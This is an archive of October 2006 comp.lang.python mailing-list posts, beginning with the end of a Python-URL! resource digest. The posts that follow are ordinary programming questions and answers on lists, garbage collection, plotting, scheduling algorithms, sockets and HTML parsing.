    While cosmetically similar, Mygale and the Daily Python-URL
    are utterly different in their technologies and generally in
    their results.

    For far, FAR more Python reading than any one mind should
    absorb, much of it quite interesting, several pages index
    much of the universe of Pybloggers.
	http://lowlife.jp/cgi-bin/moin.cgi/PythonProgrammersWeblog
        http://www.planetpython.org/
        http://mechanicalcat.net/pyblagg.html

    comp.lang.python.announce announces new Python software.  Be
    sure to scan this newsgroup weekly.
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce

    Python411 indexes "podcasts ... to help people learn Python ..."
    Updates appear more-than-weekly:
        http://www.awaretek.com/python/index.html

    Steve Bethard, Tim Lesher, and Tony Meyer continue the marvelous
    tradition early borne by Andrew Kuchling, Michael Hudson and Brett
    Cannon of intelligently summarizing action on the python-dev mailing
    list once every other week.
	http://www.python.org/dev/summary/

    The Python Package Index catalogues packages.
        http://www.python.org/pypi/

    The somewhat older Vaults of Parnassus ambitiously collects references
    to all sorts of Python resources.
        http://www.vex.net/~x/parnassus/

    Much of Python's real work takes place on Special-Interest Group
    mailing lists
        http://www.python.org/sigs/

    Python Success Stories--from air-traffic control to on-line
    match-making--can inspire you or decision-makers to whom you're
    subject with a vision of what the language makes practical.
        http://www.pythonology.com/python/success

    The Python Software Foundation (PSF) has replaced the Python
    Consortium as an independent nexus of activity.  It has official
    responsibility for Python's development and maintenance.
        http://www.python.org/psf/
    Among the ways you can support PSF is with a donation.
        http://www.python.org/psf/donate.html

    Kurt B. Kaiser publishes a weekly report on faults and patches.
        http://www.google.com/groups?as_usubject=weekly%20python%20patch

    Although unmaintained since 2002, the Cetus collection of Python
    hyperlinks retains a few gems.
        http://www.cetus-links.org/oo_python.html

    Python FAQTS
        http://python.faqts.com/

    The Cookbook is a collaborative effort to capture useful and
    interesting recipes.
	http://aspn.activestate.com/ASPN/Cookbook/Python

    Among several Python-oriented RSS/RDF feeds available are
	http://www.python.org/channews.rdf
	http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi
	http://python.de/backend.php
    For more, see
	http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all
    The old Python "To-Do List" now lives principally in a
    SourceForge reincarnation.
        http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse
	http://www.python.org/dev/peps/pep-0042/

    The online Python Journal is posted at pythonjournal.cognizor.com.
    editor at pythonjournal.com and editor at pythonjournal.cognizor.com
    welcome submission of material that helps people's understanding
    of Python use, and offer Web presentation of your work.

    del.icio.us presents an intriguing approach to reference commentary.
    It already aggregates quite a bit of Python intelligence.
        http://del.icio.us/tag/python

    *Py: the Journal of the Python Language*
        http://www.pyzine.com

    Archive probing tricks of the trade:
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100
        http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.*

Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://www.ddj.com/topic/python/ (requires subscription)
  http://groups-beta.google.com/groups?q=python-url+group:comp.lang.python*&start=0&scoring=d&
  http://purl.org/thecliff/python/url.html (dormant)
or
  http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python
There is *not* an RSS for "Python-URL!"--at least not yet.  Arguments
for and against are occasionally entertained.


Suggestions/corrections for next week's posting are always welcome.
E-mail to <Python-URL at phaseit.net> should get through.

To receive a new issue of this posting in e-mail each Monday morning
(approximately), ask <claird at phaseit.net> to subscribe.  Mention
"Python-URL!".  Write to the same address to unsubscribe.


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.


From rrr at ronadam.com  Wed Oct 18 04:10:09 2006
From: rrr at ronadam.com (Ron Adam)
Date: Wed, 18 Oct 2006 03:10:09 -0500
Subject: How to convert this list to string?
In-Reply-To: <1161156050.529095.204770@e3g2000cwe.googlegroups.com>
References: <1161156050.529095.204770@e3g2000cwe.googlegroups.com>
Message-ID: <%mlZg.6685$fl.5082@dukeread08>

Jia Lu wrote:
> Hi all
> 
>  I have a list like:
> 
>>>> list
> [1, 2, 3]
>>>> list[1:]
> [2, 3]
> 
> I want to get a string "2 3"
> 
>>>> str(list[1:])
> '[2, 3]'
> 
> How can I do that ?
> 
> thanks

Just to be different from the other suggestions...

 >>> a = [1, 2, 3]
 >>> str(a[1:]).strip('[]').replace(',', '')
'2 3'

By the way.  It's a good idea to try not to use 'list' or other built-in names 
for your own objects.  Best to start with good habits so that you avoid odd hard 
to find bugs later.

Cheers,
    Ron




From davidh at ilm.com  Thu Oct  5 21:42:49 2006
From: davidh at ilm.com (David Hirschfield)
Date: Thu, 05 Oct 2006 18:42:49 -0700
Subject: Question about turning off garbage collection
In-Reply-To: <1f7befae0610051820r6defed8es77d206a57af8a6eb@mail.gmail.com>
References: <4525ABE9.7020000@ilm.com>
	<1f7befae0610051820r6defed8es77d206a57af8a6eb@mail.gmail.com>
Message-ID: <4525B499.2030603@ilm.com>

Thanks for the great response!

I'm positive there's something extremely funky going on underneath 
that's causing the problem when cyclic garbage collection is turned on. 
Unfortunately I haven't got access to the code for the module that 
appears to be causing the trouble.

It really appears to be some incompatibility between python threads, 
pygtk and the database access module I'm using...and it's a royal pain. 
Fortunately your response makes me comfortable that I can at least turn 
off the gc without creating a leaky mess. When I have a chance I'll try 
to create a test case that clearly demonstrates the problem so I can get 
the authors of the modules to find the real problem.

Thanks,
-Dave

Tim Peters wrote:
> [David Hirschfield]
>   
>> Question from a post to pygtk list...but it probably would be better
>> answered here:
>>
>> I encountered a nasty problem with an external module conflicting with
>> my python threads recently, and right now the only fix appears to be to
>> turn off garbage collection while the critical code of the thread is
>> running, and then turn it back on afterwards.
>>
>> Now, I don't know much about how the garbage collector works in python,
>> and in order to get the thread to run without freezing, I'm wrapping the
>> threaded processing function with calls to gc.disable()/gc.enable().
>>
>> So what's that going to do?
>>     
>
> Stop the /cyclic/ garbage-collection algorithm from running for as
> long as it remains disabled.  Most garbage collection in Python, in
> typical applications most of the time, is done by reference counting,
> and /that/ can never be disabled.  Reference counting alone is not
> strong enough to detect trash objects in cycles (like A points to B
> and B points to A and nothing else points to either; they're
> unreachable trash then, but the reference count on each remains 1).
> The `gc` module controls cyclic garbage collection, which is a
> distinct subsystem used to find and reclaim the trash cycles reference
> counting can't find on its own.
>
>   
>> Will calling gc.enable() put things in good shape? Will all objects created while
>> the garbage collector was off now be un-collectable?
>>     
>
> No.  It has no effect except to /suspend/ running the cyclic gc
> subsystem for the duration.  Trash related to cycles will pile up for
> the duration.  That's all.
>
>   
>> I'm extremely wary of this solution, as I think anyone would be. I don't want a
>> suddenly super-leaky app.
>>     
>
> As above, most garbage should continue to get collected regardless.
>
>   
>> Comments? Suggestions? (I know, I know, avoid threads...if only I could)
>>     
>
> Nothing wrong with threads.  My only suggestion is to dig deeper into
> /why/ something goes wrong when cyclic gc is enabled.  That smells of
> a serious bug, so that disabling cyclic gc is just papering over a
> symptom of a problem that will come back to bite you later.  For
> example, if some piece of code in an extension module isn't
> incrementing reference counts when it should, that could /fool/ cyclic
> gc into believing an object is trash /while/ the extension module
> believes it has a valid pointer to it.  If so, that would be a serious
> bug in the extension module.  Enabling cyclic gc should not create
> problems for any correctly written C code.
>   

-- 
Presenting:
mediocre nebula.

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From robert.kern at gmail.com  Tue Oct 17 00:00:51 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 16 Oct 2006 23:00:51 -0500
Subject: Plotting histograms
In-Reply-To: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>
References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>
Message-ID: <eh1khl$2ch$1@sea.gmane.org>

amitsoni.1984 at gmail.com wrote:
> hi, I have some values(say from -a to a) stored in a vector and I want
> to plot a histogram for those values. How can I get it done in python.
> I have installed and imported the Matplotlib package but on executing
> the code
> [N,x]=hist(eig, 10) # make a histogram
>  I am getting an error saying   "NameError: name 'hist' is not
> defined".

I presume what you did was something like this:

   from matplotlib import pylab
   [N,x] = hist(eig, 10)

What you actually want is this:

   from matplotlib import pylab
   [N,x] = pylab.hist(eig, 10)

Or, if you're at the interactive prompt (but remember that it is inadvisable to 
do so in modules):

   from matplotlib.pylab import *
   [N,x] = hist(eig, 10)

You will probably want to review the section of the tutorial on importing 
modules if you don't understand the differences.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From fredrik at pythonware.com  Wed Oct  4 04:25:13 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 4 Oct 2006 10:25:13 +0200
Subject: hex sending
References: <1159949891.962523.182880@c28g2000cwb.googlegroups.com>
Message-ID: <efvr59$u1g$1@sea.gmane.org>

"hiroc" wrote:

> s.send("abc") # send test string
>
> I need to send hex:"10 06 00 0f 02 bc d1" instead of "abc"

do you want to send seven binary bytes, or pairs of hexadecimal characters
separated by whitespace ?

how do you map from "abc" to "10 06 00 0f 02 bc d1", by the way?  what
encoding is that?

</F> 





From steven.bethard at gmail.com  Mon Oct 23 20:02:27 2006
From: steven.bethard at gmail.com (Steven Bethard)
Date: Mon, 23 Oct 2006 18:02:27 -0600
Subject: classroom constraint satisfaction problem
In-Reply-To: <1160953489.010661.115340@e3g2000cwe.googlegroups.com>
References: <1LadnZCCBosBMK_YnZ2dnUVZ_r-dnZ2d@comcast.com>
	<1160953489.010661.115340@e3g2000cwe.googlegroups.com>
Message-ID: <o_udnQXtCOGXxaDYnZ2dnUVZ_tOdnZ2d@comcast.com>

Carl Banks wrote:
> Steven Bethard wrote:
>> Basically, I want to build groups of two teachers and four students such
>> that [1]:
>>
>> * Students are assigned to exactly one group
>> * Teachers are assigned to approximately the same number of groups
>> * Students are not in groups with their homeroom teachers
>> * Students in each group are from four different homerooms
>>
>> So given teachers A, B, C, D, E and F and their corresponding students
>> A1, A2, ... F3, F4, here's a good grouping:
>>
>> A, B:   C1, D1, E1, F1
>> B, C:   A1, D2, E2, F2
>> C, D:   A2, B1, E3, F3
>> D, E:   A3, B2, C2, F4
>> E, F:   A4, B3, C3, D3
>> F, A:   B4, C4, D4, E4
> 
> [snip]
> 
>> [1] There are actually two other constraints that I omitted:
>>
>> * Some teachers cannot be placed in the same group, e.g. I might know
>> that A cannot work with B or that E cannot work with F.
>>
>> * If you create a graph out of the teacher pairs from all the groups,
>> the graph should not be disconnected.  That is, the following grouping
>> is bad because the teachers are disconnected:
> 
> I would do it in two steps.
> 
> Step 1: Generate a graph of all teachers, such that there is one
> connection for every four students, and each teacher has approximately
> equal number of connections.  A simple, approximate way to do this
> would be to generate random subsets of two teachers until you have
> enough connections (though that won't work well if you have a lot of
> teachers that can't work together, which wouldn't be surprising).  I'm
> sure graph theory has some algorithms to do this if you need more
> exactitude.
> 
> Step 2: Assign students from appropriate homerooms to each connection.
> The following simple algorithm is probably satisfactory: for each
> connection between teachers, choose a random subset of four homerooms
> not governed by those teachers to form a group.  Assign a random
> student from each homeroom.  Once every student from a homeroom has
> been been assigned, remove that homeroom from the set of available
> homerooms.  With this method, you might have some connections at the
> end without enough remaining homerooms; just go fishing for a suitable
> switch among students already assigned.  Or, work out a way to make
> sure you don't exhaust too many homerooms.  Perhaps there is a known
> algorithm for doing this.

For what it's worth, I went basically this route.  My code does 
something like:

(1) Generate all pairs of teachers

(2) Remove any pairs of teachers in conflict

(3) Create a list for teacher pairs

(4) Randomly select a teacher pair and add it to the list

(5) If any teachers are at their max number of groups, remove all pairs
     that include them from the pairs we are randomly selecting from

(6) If we have not selected a teacher pair for each group, goto (4)

(7) If the resulting graph is disconnected, try again from step (3)

(8) We now have one pair of teachers for each group

(8) Randomly select four other teachers' homerooms for each group

(9) Randomly pop a student off of each homeroom and add it to the group

(10) If a homeroom becomes empty, remove it from the homerooms we are
      randomly selecting from.

(11) If at any point we run out of students, try again from step (3)

(12) Eventually, we have assigned people to all teacher-student groups

This seems to work pretty quickly, and doesn't have much trouble finding 
solutions to the datasets I've tried it on.

Thanks for your help!

Steve


From steve at holdenweb.com  Thu Oct  5 02:29:29 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 05 Oct 2006 07:29:29 +0100
Subject: Python to use a non open source bug tracker?
In-Reply-To: <1160004324.651743.280590@b28g2000cwb.googlegroups.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<1160004324.651743.280590@b28g2000cwb.googlegroups.com>
Message-ID: <eg28mk$ff6$5@sea.gmane.org>

Ilias Lazaridis wrote:
> Giovanni Bajo wrote:
> 
>>Hello,
>>
>>I just read this mail by Brett Cannon:
>>http://mail.python.org/pipermail/python-dev/2006-October/069139.html
>>where the "PSF infrastracture committee", after weeks of evaluation, recommends
>>using a non open source tracker (called JIRA - never heard before of course)
>>for Python itself.
>>
>>Does this smell "Bitkeeper fiasco" to anyone else than me?
>>--
>>Giovanni Bajo
> 
> 
> Fascinating.
> 
> The python foundation suggests a non-python non-open-source bugtracking
> tool for python.
> 
> It's like saying: "The python community is not able to produce the
> tools needed to drive development of python forward."
> 
> Anyway. The whole selection process is intransparent.
> 
> The commitee should have stated "goals" and "requirements" with a
> public verification of the tools against them.
> 
Is there any stick in the known universe that you will grasp the *right* 
end of?

   http://wiki.python.org/moin/OriginalCallForTrackers

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From horpner at yahoo.com  Wed Oct  4 13:37:50 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 4 Oct 2006 19:37:50 +0200
Subject: item access time: sets v. lists
References: <QWQUg.15396$3T2.2982@trnddc06>
	<CiRUg.25432$DU3.7189@tornado.texas.rr.com>
	<4cSUg.7864$753.4683@trnddc05>
Message-ID: <slrnei7sc2.fs.horpner@FIAD06.norwich.edu>

On 2006-10-04, David Isaac <aisaac0 at verizon.net> wrote:
> Paul M. wrote:
>> Random access to item in list/set when item exists
>> set  -> 0.000241650824337
>> list -> 0.0245168031132
>>
>> Random access to item in list/set when item does not exist
>> set  -> 0.000187733357172
>> list -> 0.522086186932
>
>
> OK, that's a much better set of answers
> including to questions I did not
> even know I wanted to ask until
> I saw your post.  But, how to
> explain the above??

Look at the code again. It's not testing what it says it's
testing.

print "\nRandom access to first item in list/set"
t1=timeit.Timer("0 in z","z = set(xrange(10000))")
t2=timeit.Timer("0 in z", "z = list(xrange(10000))")
print "set  ->", t1.timeit(1000)
print "list ->", t2.timeit(1000)

print "\nRandom access to item in list/set when item exists"
t1=timeit.Timer("500 in z","z = set(xrange(10000))")
t2=timeit.Timer("500 in z", "z = list(xrange(10000))")
print "set  ->", t1.timeit(1000)
print "list ->", t2.timeit(1000)

-- 
Neil Cerutti


From bjobrien62 at gmail.com  Mon Oct  2 17:55:53 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 2 Oct 2006 14:55:53 -0700
Subject: Need help with an array problem.
Message-ID: <1159826153.470372.101200@e3g2000cwe.googlegroups.com>

Basically I think the problem is in converting from a 32 bit integer to
a 16 bit integer.

I have two arrays:
import array

a = array.array('L', [65537])
b = array.array('H', [0])

b[0] = a[0]

Which gives an overflow message....
So can't I truncate the long by discaring the upper bits ..
Like  b[0] = 0x0000FFFF & a[0]

How does one normally cast an object from long to short?



From joel.hedlund at gmail.com  Thu Oct 26 04:01:54 2006
From: joel.hedlund at gmail.com (Joel Hedlund)
Date: Thu, 26 Oct 2006 10:01:54 +0200
Subject: Slightly OT: Is pyhelp.cgi documentation search broken?
Message-ID: <ehppm4$md4$1@news.lysator.liu.se>

Hi!

For a number of days I haven't been able to search the online python 
docs at:

http://starship.python.net/crew/theller/pyhelp.cgi

that is the "search the docs with" link at this page:

http://www.python.org/doc/

Instead of the search engine, I get Error 404. This is a real bother for 
me, since I rely heavily on it for my work.

Is it broken? If so, is anybody trying to get it back up again, and 
what's the time scale in that case? Is there an alternative available 
somewhere?

Cheers!
/Joel Hedlund


From bernard.chhun at gmail.com  Wed Oct 11 14:22:18 2006
From: bernard.chhun at gmail.com (Bernard)
Date: 11 Oct 2006 11:22:18 -0700
Subject: error handling
In-Reply-To: <mailman.325.1160583556.11739.python-list@python.org>
References: <mailman.325.1160583556.11739.python-list@python.org>
Message-ID: <1160590937.895058.33030@m7g2000cwm.googlegroups.com>

Hi Fulvio,

I often use this try except to find out about what type of errors might
happen in my code:
I use it when I really don't know what might happen.
try:
    # do something
except:
    print "Unexpected error:", sys.exc_info()[0]
    continue

once it catches an error, just take a good look at the error message
and you'll be able to extend the try except like this:

try:
    # do something
except KeyError:
    print "this is a KeyError"
    continue
except TypeError:
    print "this is a TypeError"
    continue
except:
    print "Unexpected error:", sys.exc_info()[0]
    os.system("pause")
    continue

Fulvio wrote:
> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************
>
>
> Hello there,
>
> Simple question : how do I manage errors by the use "try/except" clause.
> Example:
> If I'd like to catch error coming from a function call that's using IMAP4
> class, which error may raise such class?
> In other words I've doubts about which error object I should put after
> the "except" statement in order to trap the wanted error.
>
> Is there, somehow, the way to list the errors from a class or function, prior
> digging into the source?
> 
> F



From Peter.Beattie at web.de  Sat Oct  7 18:37:39 2006
From: Peter.Beattie at web.de (Peter Beattie)
Date: Sun, 08 Oct 2006 00:37:39 +0200
Subject: Painless way to do 3D visualization
Message-ID: <4oqohkFfm09vU1@uni-berlin.de>

Hey folks,

I need to do the following relatively simple 3D programming:

I want to convert data from four-item tuples into 3D co-ordinates in a
regular tetrahedron. Co-ordinates come in sequences of 10 to 20, and the
individual dots in the tetrahedron need to be connected into
discontinuous lines. A single tetrahedron should contain at least two,
possibly more, such lines. I would like to show certain similarities in
the sequences/lines, eg by changing color, thickness, or maybe attaching
indeces to certain points in a particular sequence.

I'd welcome suggestions as to what might be the most painless way to
achieve this in Python. So far, I've only tinkered a little with
VPython, but the lack of any decent documentation has proved to be a
major turn-off.

TIA!

-- 
Peter


From fredrik at pythonware.com  Tue Oct 17 03:51:00 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 09:51:00 +0200
Subject: COM Error -- Urgent help
In-Reply-To: <1161070831.102884.37930@e3g2000cwe.googlegroups.com>
References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com>	<45347682$0$25906$ba4acef3@news.orange.fr>
	<1161070831.102884.37930@e3g2000cwe.googlegroups.com>
Message-ID: <eh2215$9nr$1@sea.gmane.org>

Teja wrote:

> I am sorry. By func(dest) I meant MyNavigate(dest). Can u please help
> me out...

nobody here can read your mind.  please post the code you're actually 
using, *and* the error you're getting.

</F>



From hpsekhon at googlemail.com  Mon Oct  2 11:37:41 2006
From: hpsekhon at googlemail.com (Hari Sekhon)
Date: Mon, 02 Oct 2006 16:37:41 +0100
Subject: commands.getstatusoutput result is not command line exit value!!!
In-Reply-To: <efrat3$db4$1@sea.gmane.org>
References: <452125F8.8070106@googlemail.com> <efrat3$db4$1@sea.gmane.org>
Message-ID: <45213245.3000808@googlemail.com>

I don't quite understand what you are saying here:

2 * 256 is 512,
2 ** 256 is some extremely large number.

2**12 is 4096.

So how does 3072 factor into this?

Could you explain what you mean by "the error in the top half of a 
sixteen-bit value"?

This makes no sense to me at this moment.

-h

Hari Sekhon



Steve Holden wrote:
> Hari Sekhon wrote:
>   
>> I'm running a command like
>>
>> import commands
>> result = commands.getstatusoutput('somecommand')
>> print result[0]
>> 3072
>>
>>
>> However, this exit code made no sense so I ran it manually from the 
>> command line in bash on my linux server and it gives the exit code as 
>> 12, not this weird 3072 number.
>>
>> So I tried os.system('somecommand') in the interactive python shell and 
>> it too returned the same result for the exit code as the unix shell, 12, 
>> but re-running the commands.getstatusoutput() with the exact same 
>> command still gave 3072.
>>
>>
>> Is commands.getstatusoutput() broken or something?
>>
>>
>> -h
>>
>>     
> No, it's just returning the error code in the top half of a sixteen-bit 
> value. You will notice that 3072 == 2 * 256.
>
> That's always been the way the Unix return code has been returned 
> programattically, but the shell shifts it down to make it more usab;e.
>
> regards
>   Steve
>   
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From Eric_Dexter at msn.com  Sat Oct  7 00:09:16 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 6 Oct 2006 21:09:16 -0700
Subject: problem with split
In-Reply-To: <1160194063.352905.106210@e3g2000cwe.googlegroups.com>
References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com>
Message-ID: <1160194155.949928.126140@c28g2000cwb.googlegroups.com>

p.s. this is the one I need to finish to release the csoundroutines
library

www.dexrow.com


Eric_Dexter at msn.com wrote:
> apologies if I annoy and for spacing (google)
>
>
>
> def csdInstrumentList(from_file):
>     "Returns a list of .csd instruments and any comment lines after the
> instrument"
>     infile = open(from_file, 'r')
>     temp_number = 0
>     for line in infile:
>         if 'instr' in line:
>             s = re.split(r' +',line,3)
>             instr_number = s[1]
>     return instr_number
>
> I am coming pretty close to what I want with variations on theis but I
> cant seem to
> get 3 lines with the split and instr_number[array] = s[1] seems to give
> me an error.
> the data from the line I am trying to split in three would look like
> this
>
>   instr 83     ;comment would be here
>
> I want comment returned in an array and instr_number returned in an
> array.



From mail at microcorp.co.za  Mon Oct  9 01:52:18 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Mon, 9 Oct 2006 07:52:18 +0200
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com><1160182951.812677.178750@i42g2000cwa.googlegroups.com><1160183076.034356.292780@i3g2000cwc.googlegroups.com><1160184574.708331.78400@i3g2000cwc.googlegroups.com>
	<pan.2006.10.07.11.58.31.585485@REMOVE.THIS.cybersource.com.au>
Message-ID: <018701c6eb67$352c6aa0$03000080@hendrik>

"Steven D'Aprano" <steve at REMOVE.THIS.cybersource.com.au> wrote:

> On Fri, 06 Oct 2006 18:29:34 -0700, John Machin wrote:
> > MonkeeSage wrote:
> >> On Oct 6, 8:02 pm, "MonkeeSage" <MonkeeS... at gmail.com> wrote:
> >> > it is clearer to you to make the condition explicit ("blah not False"),
> >>
> >> "blah not False" -> "blah is False"
> >
> > Whichever way your team wants to interpret it, d00d.
> >
> > Please consider whether you should be writing "(blah is False) is
> > True", that would be more explicit.
>
> Puh-lease! Get it right!
>
> It should be "((blah is False) is True) is True".

I once saw a baking powder tin with a picture of a baking powder tin with a
picture of a baking powder tin...

- Hendrik




From aahz at pythoncraft.com  Thu Oct  5 23:23:41 2006
From: aahz at pythoncraft.com (Aahz)
Date: 5 Oct 2006 20:23:41 -0700
Subject: Google breaks Usenet (was Re: How can I correct an error in an old
	post?)
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<slrnei7hlp.gim.grahn+nntp@frailea.sa.invalid>
	<pvc9i2l14o2jhdapmqeudal2kvvuvtksht@4ax.com>
	<1160096371.564954.132860@b28g2000cwb.googlegroups.com>
Message-ID: <eg4i7t$m5b$1@panix3.panix.com>

In article <1160096371.564954.132860 at b28g2000cwb.googlegroups.com>,
Blair P. Houghton <blair.houghton at gmail.com> wrote:
>
>But they do about 10 things totally wrong with Google groups that
>I'd've fixed in my spare time in my first week if they'd hired me back
>when I was interviewing with them.

Only ten?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"If you don't know what your program is supposed to do, you'd better not
start writing it."  --Dijkstra


From mdsteele at gmail.com  Fri Oct 20 18:52:16 2006
From: mdsteele at gmail.com (mdsteele at gmail.com)
Date: 20 Oct 2006 15:52:16 -0700
Subject: Inheriting property functions
References: <1161383286.543397.46700@m73g2000cwd.googlegroups.com>
Message-ID: <1161384736.205021.275130@f16g2000cwb.googlegroups.com>

Dustan wrote:
> B isn't recognizing its inheritence of A's methods get_a and set_a
> during creation.
>
> Why am I doing this? For an object of type B, it makes more sense to
> reference the attribute 'b' than it does to reference the attribute
> 'a', even though they are the same, in terms of readability.
>
> Is there any way to make this work as intended?

Try this:

>>> class A(object):
...     def __init__(self,a):
...         self.__a = a
...     def get_a(self): return self.__a
...     def set_a(self,new_a): self.__a = new_a
...     a = property(get_a,set_a)
...
>>> class B(A):
...     b = property(A.get_a,A.set_a)
...
>>> bar = B(5)
>>> bar.a
5
>>> bar.b
5

The trouble is that get_a and set_a are attributes of the _class
object_ A.  Instances of A (and hence, instances of B) will see them,
but the class B will not, so you have to point to them explicitly with
A.get_a and A.set_a.



From elpX at adsihqX.com  Tue Oct 10 18:09:34 2006
From: elpX at adsihqX.com (Dr. Pastor)
Date: Tue, 10 Oct 2006 15:09:34 -0700
Subject: Motions.
Message-ID: <1160518262_13745@sp6iad.superfeed.net>

Hi:
I would like to track the motions of
small birds in short (20-30sec) .avi films.
What tool-set/programs would be wise to use?
Thanks for any guidance.

----== Posted via Newsfeeds.Com - Unlimited-Unrestricted-Secure Usenet News==----
http://www.newsfeeds.com The #1 Newsgroup Service in the World! 120,000+ Newsgroups
----= East and West-Coast Server Farms - Total Privacy via Encryption =----


From rzantow at gmail.com  Tue Oct 17 13:49:20 2006
From: rzantow at gmail.com (rzed)
Date: Tue, 17 Oct 2006 13:49:20 -0400
Subject: A question about list
References: <1161102973.920895.141500@i42g2000cwa.googlegroups.com>
Message-ID: <Xns985F8C9CB6FBDrzantowgmailcom@208.49.80.253>

pretoriano_2001 at hotmail.com wrote in news:1161102973.920895.141500
@i42g2000cwa.googlegroups.com:

> Hello:
> Variable 'a' has the next values:
> [[1,1],[2,2]]
> and I want to take a to b as:
> [[1,1,'='],[2,2,'=']]
> How can I do this with only one line of instruction?
> Thanks!!
> 

b = [[x,y,'='] for (x,y) in a]

-- 
rzed


From zhangry at feng.co.jp  Tue Oct 31 01:11:25 2006
From: zhangry at feng.co.jp (HYRY)
Date: 30 Oct 2006 22:11:25 -0800
Subject: make a simple search function for homepage
Message-ID: <1162275085.749477.12480@b28g2000cwb.googlegroups.com>

I want to add some simple search function for my homepage. It need to
search through all the html files of my homepage (about 300 pages), and
highlight the search words.

I made some test with HTMLParser, it works but slow. So, my question is
how can I improve its speed?

from HTMLParser import HTMLParser

class HightLightParser(HTMLParser):
	def __init__(self, outfile, words):
		self.outfile = outfile
		self.words = words
		self.found = False
		HTMLParser.__init__(self)

	def handle_starttag(self, tag, attrs):
		self.outfile.write( self.get_starttag_text( ) )

	def handle_endtag(self, tag):
		self.outfile.write( "</%s>" % tag )

	def handle_data(self, data):
		for word in self.words:
			data = data.replace(word, "<font color=red>%s</font>" % word)
#highlight
		self.outfile.write(data)

class SearchParser(HTMLParser):
	def __init__(self, words):
		self.words = words
		self.found = False
		HTMLParser.__init__(self)

	def handle_data(self, data):
		for word in self.words:
			if word in data:      # search
				self.found = True


words = ["the"]
x = SearchParser(words)
data = file("input.htm").read()
x.feed(data)
if x.found:
	y = HightLightParser(file("output.htm", "w"),words)
	y.feed(data)



From larry<dot>bates<at>websafe <dot>  Mon Oct 23 14:12:25 2006
From: larry<dot>bates<at>websafe <dot> (Larry Bates)
Date: Mon, 23 Oct 2006 13:12:25 -0500
Subject: ZODB for inverted index?
In-Reply-To: <1161625143.942199.327550@i3g2000cwc.googlegroups.com>
References: <1161625143.942199.327550@i3g2000cwc.googlegroups.com>
Message-ID: <1OWdnfsSrM54mKDYnZ2dnUVZ_o-dnZ2d@comcast.com>

You may want to take a quick look at ZCatalogs.  They are
for indexing ZODB objects.  I may not be understanding
what you are trying to do.  I suspect that you really need
to store everything in a database (MySQL/Postgres/etc) for
maximal flexibility.

-Larry


From mumebuhi at gmail.com  Fri Oct 27 01:25:13 2006
From: mumebuhi at gmail.com (mumebuhi)
Date: 26 Oct 2006 22:25:13 -0700
Subject: To Stop a Process that is Waiting on socket.accept()
Message-ID: <1161926712.933304.74090@e3g2000cwe.googlegroups.com>

I am having problem to kill the following script completely. The script
basically does the following. The main thread creates a new thread,
which does a completely useless thing, and then starts excepting for a
connection via socket.

# start
import pickle
import signal
import simplejson
import socket
import sys
import threading
import time

counter = 0

class WorkerThread(threading.Thread):
	def run(self):
		global counter
		while True:
			counter += 1
			time.sleep(10)

worker_thread = WorkerThread()
worker_thread.start()

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('', 2727))
server.listen(2)

def cleanup(signal, frame):
	print "die now"
	worker_thread.join(1)
	server.shutdown(socket.SHUT_RDWR)
	sys.exit(0)
signal.signal(signal.SIGINT, cleanup)

while True:
	channel, details = server.accept()
	stats = { 'key': "value" }
	s = simplejson.dumps(stats)
	channel.send(s)
	channel.close()
# end

The way I can think of right now is to kill the script using Ctrl+C.
Hence, the signal handler in the code. However, the interpreter
complains:
---start---
Traceback (most recent call last):
  File "ex_server.py", line 35, in ?
    channel, details = server.accept()
  File "/usr/lib/python2.4/socket.py", line 169, in accept
    sock, addr = self._sock.accept()
  File "ex_server.py", line 30, in cleanup
    server.shutdown(SHUT_RDWR)
NameError: global name 'SHUT_RDWR' is not defined
---end---

Can anybody suggest a better way to do this?

Thank you.


Buhi



From fulvio at tm.net.my  Fri Oct 20 08:58:50 2006
From: fulvio at tm.net.my (Fulvio)
Date: Fri, 20 Oct 2006 20:58:50 +0800
Subject: I would like write some data recovery software
In-Reply-To: <1161300545.779504.101800@f16g2000cwb.googlegroups.com>
References: <1161141519.989567.195330@i42g2000cwa.googlegroups.com>
	<eh4ip1$t53$1@upsn250.cri.u-psud.fr>
	<1161300545.779504.101800@f16g2000cwb.googlegroups.com>
Message-ID: <200610202058.50473.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Friday 20 October 2006 07:29, gel wrote:
> > Once you get a way to access the bytes to recover... the Hachoir library
> > can be interresting as a model to map structures on these data.
> >
> > ??????http://hachoir.org/
>
> Cheers, I am having a bit of look at it now

